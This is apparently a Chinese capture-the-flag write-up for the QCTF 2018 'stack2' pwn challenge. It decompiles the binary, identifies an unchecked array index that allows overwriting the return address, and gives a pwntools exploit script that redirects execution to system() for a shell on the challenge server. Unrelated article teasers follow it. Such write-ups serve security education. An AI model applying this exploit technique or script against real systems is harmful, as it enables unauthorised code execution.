技术标签: CTF 4th-QCTF-2018 writeup CTF pwn stack2
题目描述:
暂无
分析思路:
1、首先拿到ELF文件,我们首先查看一下详细信息:
tucker@ubuntu:~/pwn$ file stack2
stack2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=d39da4953c662091eab7f33f7dc818f1d280cb12, not stripped
tucker@ubuntu:~/pwn$ checksec stack2
[*] '/home/tucker/pwn/stack2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
2、我们使用IDA看一下,main函数如下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
unsigned int v5; // [esp+18h] [ebp-90h]
unsigned int v6; // [esp+1Ch] [ebp-8Ch]
int v7; // [esp+20h] [ebp-88h]
unsigned int j; // [esp+24h] [ebp-84h]
int v9; // [esp+28h] [ebp-80h]
unsigned int i; // [esp+2Ch] [ebp-7Ch]
unsigned int k; // [esp+30h] [ebp-78h]
unsigned int l; // [esp+34h] [ebp-74h]
char v13[100]; // [esp+38h] [ebp-70h]
unsigned int v14; // [esp+9Ch] [ebp-Ch]
v14 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
v9 = 0;
puts("***********************************************************");
puts("* An easy calc *");
puts("*Give me your numbers and I will return to you an average *");
puts("*(0 <= x < 256) *");
puts("***********************************************************");
puts("How many numbers you have:");
__isoc99_scanf("%d", &v5);
puts("Give me your numbers");
for ( i = 0; i < v5 && (signed int)i <= 99; ++i )
{
__isoc99_scanf("%d", &v7);
v13[i] = v7;
}
for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
__isoc99_scanf("%d", &v6);
if ( v6 != 2 )
break;
puts("Give me your number");
__isoc99_scanf("%d", &v7);
if ( j <= 99 )
{
v3 = j++;
v13[v3] = v7;
}
}
if ( v6 > 2 )
break;
if ( v6 != 1 )
return 0;
puts("id\t\tnumber");
for ( k = 0; k < j; ++k )
printf("%d\t\t%d\n", k, v13[k]);
}
if ( v6 != 3 )
break;
puts("which number to change:");
__isoc99_scanf("%d", &v5);
puts("new number:");
__isoc99_scanf("%d", &v7);
v13[v5] = v7;
}
if ( v6 != 4 )
break;
v9 = 0;
for ( l = 0; l < j; ++l )
v9 += v13[l];
}
return 0;
}
我们看到是一个简单地程序,获取输入的值,并进行计算平均值,同时也可以修改之前输入的数组。等等,此处似乎有一个漏洞,这里的修改数值,没有检查边界条件,使得我们可以修改栈中的数据,我们简单实验一下:
tucker@ubuntu:~/pwn$ ./stack2
***********************************************************
* An easy calc *
*Give me your numbers and I will return to you an average *
*(0 <= x < 256) *
***********************************************************
How many numbers you have:
1
Give me your numbers
2
1. show numbers
2. add number
3. change number
4. get average
5. exit
3
which number to change:
33
new number:
4
1. show numbers
2. add number
3. change number
4. get average
5. exit
4
average is 2.00
1. show numbers
2. add number
3. change number
4. get average
5. exit
5
可以看到,当我们要修改的值得位置超过输入的边界时 ,仍可以修改,据此,我们可以修改内存中函数的EIP,从而劫持IP,转去执行我们需要的代码。
3、同时在IDA中我们使用shift+f12,可以看到有一个“/bin/bash"字符串,我们追踪发现了一个函数:
.text:0804859B public hackhere
.text:0804859B hackhere proc near
.text:0804859B
.text:0804859B var_C = dword ptr -0Ch
.text:0804859B
.text:0804859B ; __unwind {
.text:0804859B push ebp
.text:0804859C mov ebp, esp
.text:0804859E sub esp, 18h
.text:080485A1 mov eax, large gs:14h
.text:080485A7 mov [ebp+var_C], eax
.text:080485AA xor eax, eax
.text:080485AC sub esp, 0Ch
.text:080485AF push offset command ; "/bin/bash"
.text:080485B4 call _system
.text:080485B9 add esp, 10h
.text:080485BC nop
.text:080485BD mov edx, [ebp+var_C]
.text:080485C0 xor edx, large gs:14h
.text:080485C7 jz short locret_80485CE
.text:080485C9 call ___stack_chk_fail
.text:080485CE ; ---------------------------------------------------------------------------
.text:080485CE
.text:080485CE locret_80485CE: ; CODE XREF: hackhere+2C↑j
.text:080485CE leave
.text:080485CF retn
.text:080485CF ; } // starts at 804859B
.text:080485CF hackhere endp
这个函数执行一条语句:system("/bin/bash"),因此我们可以想到在上面使用change number 的功能修改栈中的数据,控制程序跳转到hackhere函数。
4、首先我们需要知道数组v13与rip的偏移地址,(注意此处v13的位置为ebp-0x70,但是eip的位置不是在0x70+0x4的位置,因为有canary的保护,需要动态调试进行确定。)首先我们在main函数的开始下一个断点,在retn的地方下一个断点,运行程序,得到起始的ebp为0xFFAE1358,运行到retn,栈顶的位置为:0xFFAE136C,由此得到v13的地址为:0xFFAE1358-0x70 = 0xffae12e8,偏移量为0xFFAE136C - 0xffae12e8 = 0x84。
5、同时我们按照上面的思路,发现并不能正确的得到shell,原来是字符串/bin/bash的问题,由于测试环境的原因,我们需要使用/bin/sh,我们可以通过上面的办法向栈中写入/bin/sh字符串,但是发现每次栈的地址都会变,只得作罢。
因此我们可以利用原来的字符串/bin.bash的第7个字节开始的地址,作为system的参数,将system函数的地址写到栈中覆盖eip。
由此我们可以编写exp:
# stack2_1.py
from pwn import *
# a = process('./stack2')
a = remote("111.198.29.45", "56058")
system_addr = 0x8048450
# off_addr = 0x9c
# a.send('1\n1\n3\n156\n80\n3\n157\n132\n3\n158\n4\n3\n159\n8\n5\n')
# a.interactive()
a.sendline('1\n5\n3\n132\n80\n3\n133\n132\n3\n134\n4\n3\n135\n8')
a.sendline('3\n140\n135\n3\n141\n137\n3\n142\n4\n3\n143\n8')
a.sendline('5')
a.interactive()
文章浏览阅读1w次,点赞2次,收藏27次。来源:机器人小妹 很多时候企业拥有重复,乏味且困难的工作流程,这些流程往往会减慢生产速度并增加运营成本。为了降低生产成本,企业别无选择,只能自动化某些功能以降低生产成本。 通过数字化..._人工智能平台
文章浏览阅读2.2k次。热加载能够在每次保存修改的代码后自动刷新 electron 应用界面,而不必每次去手动操作重新运行,这极大的提升了开发效率。安装 electron 热加载插件热加载虽然很方便,但是不是每个 electron 项目必须的,所以想要舒服的开发 electron 就只能给 electron 项目单独的安装热加载插件[electron-reloader]:// 在项目的根目录下安装 electron-reloader,国内建议使用 cnpm 代替 npmnpm install electron-relo._electron-reloader
文章浏览阅读942次。在11.0 进行定制化开发,会根据需要去掉recovery模式的一些选项 就是在device.cpp去掉一些选项就可以了。_android recovery 删除 部分菜单
文章浏览阅读3.7k次。https://www.yuque.com/mnn/cn/cvrt_linux_mac基础依赖这些依赖是无关编译选项的基础编译依赖• cmake(3.10 以上)• protobuf (3.0 以上)• 指protobuf库以及protobuf编译器。版本号使用 protoc --version 打印出来。• 在某些Linux发行版上这两个包是分开发布的,需要手动安装• Ubuntu需要分别安装 libprotobuf-dev 以及 protobuf-compiler 两个包•..._mnn 编译linux
文章浏览阅读1.8k次。CSS3新增动画属性“@-webkit-keyframes”,从字面就可以看出其含义——关键帧,这与Flash中的含义一致。利用CSS3制作动画效果其原理与Flash一样,我们需要定义关键帧处的状态效果,由CSS3来驱动产生动画效果。下面讲解一下如何利用CSS3制作淡入淡出的动画效果。具体实例可参考刚进入本站时的淡入效果。1. 定义动画,名称为fadeIn@-webkit-keyf_css3入场效果淡入淡出
文章浏览阅读2.8k次。计算机系统应包括硬件和软件两个子系统,硬件和软件又必须依次分别包括中央处理器和系统软件。按人的要求接收和存储信息,自动进行数据处理和计算,并输出结果信息的机器系统。计算机是脑力的延伸和扩充,是近代科学的重大成就之一。计算机系统由硬件(子)系统和软件(子)系统组成。前者是借助电、磁、光、机械等原理构成的各种物理部件的有机组合,是系统赖以工作的实体。后者是各种程序和文件,用于指挥全系统按指定的要求进行..._计算机系统包括硬件系统和软件系统 软件又必须包括
文章浏览阅读7.9k次,点赞3次,收藏22次。一 定义这是最早出现的置换算法。该算法总是淘汰最先进入内存的页面,即选择在内存中驻留时间最久的页面予以淘汰。该算法实现简单,只需把一个进程已调入内存的页面,按先后次序链接成一个队列,并设置一个指针,称为替换指针,使它总是指向最老的页面。但该算法与进程实际运行的规律不相适应,因为在进程中,有些页面经常被访问,比如,含有全局变量、常用函数、例程等的页面,FIFO 算法并不能保证这些页面不被淘汰。这里,我_进程调度fifo算法代码
文章浏览阅读133次。rownum是oracle才有的写法,rownum在oracle中可以用于取第一条数据,或者批量写数据时限定批量写的数量等mysql取第一条数据写法SELECT * FROM t order by id LIMIT 1;oracle取第一条数据写法SELECT * FROM t where rownum =1 order by id;ok,上面是mysql和oracle取第一条数据的写法对比,不过..._mysql 替换@rownum的写法
文章浏览阅读790次,点赞3次,收藏4次。官网下载下载链接:http://www.eclipse.org/downloads/点击Download下载完成后双击运行我选择第2个,看自己需要(我选择企业级应用,如果只是单纯学习java选第一个就行)进入下一步后选择jre和安装路径修改jvm/jre的时候也可以选择本地的(点后面的文件夹进去),但是我们没有11版本的,所以还是用他的吧选择接受安装中安装过程中如果有其他界面弹出就点accept就行..._ecjelm
文章浏览阅读245次。原文链接:https://linux.cn/article-7801-1.htmlifconfigping <IP地址>:发送ICMP echo消息到某个主机traceroute <IP地址>:用于跟踪IP包的路由路由:netstat -r: 打印路由表route add :添加静态路由路径routed:控制动态路由的BSD守护程序。运行RIP路由协议gat..._ifconfig 删除vlan
文章浏览阅读224次。reduxredux里要求把数据都放在公共的存储区域叫store里面,组件中尽量少放数据,假如绿色的组件要给很多灰色的组件传值,绿色的组件只需要改变store里面对应的数据就行了,接着灰色的组件会自动感知到store里的数据发生了改变,store只要有变化,灰色的组件就会自动从store里重新取数据,这样绿色组件的数据就很方便的传到其它灰色组件里了。redux就是把公用的数据放在公共的区域去存..._redux redis
文章浏览阅读2.2k次,点赞3次,收藏6次。unzip版本不支持4G以上的压缩包所以要使用p7zip:Linux一个高压缩率软件wget http://sourceforge.net/projects/p7zip/files/p7zip/9.20.1/p7zip_9.20.1_src_all.tar.bz2tar jxvf p7zip_9.20.1_src_all.tar.bz2cd p7zip_9.20.1make && make install 如果安装失败,看一下报错是不是因为没有下载gcc 和 gcc ++(p7_linux 7za解压中文乱码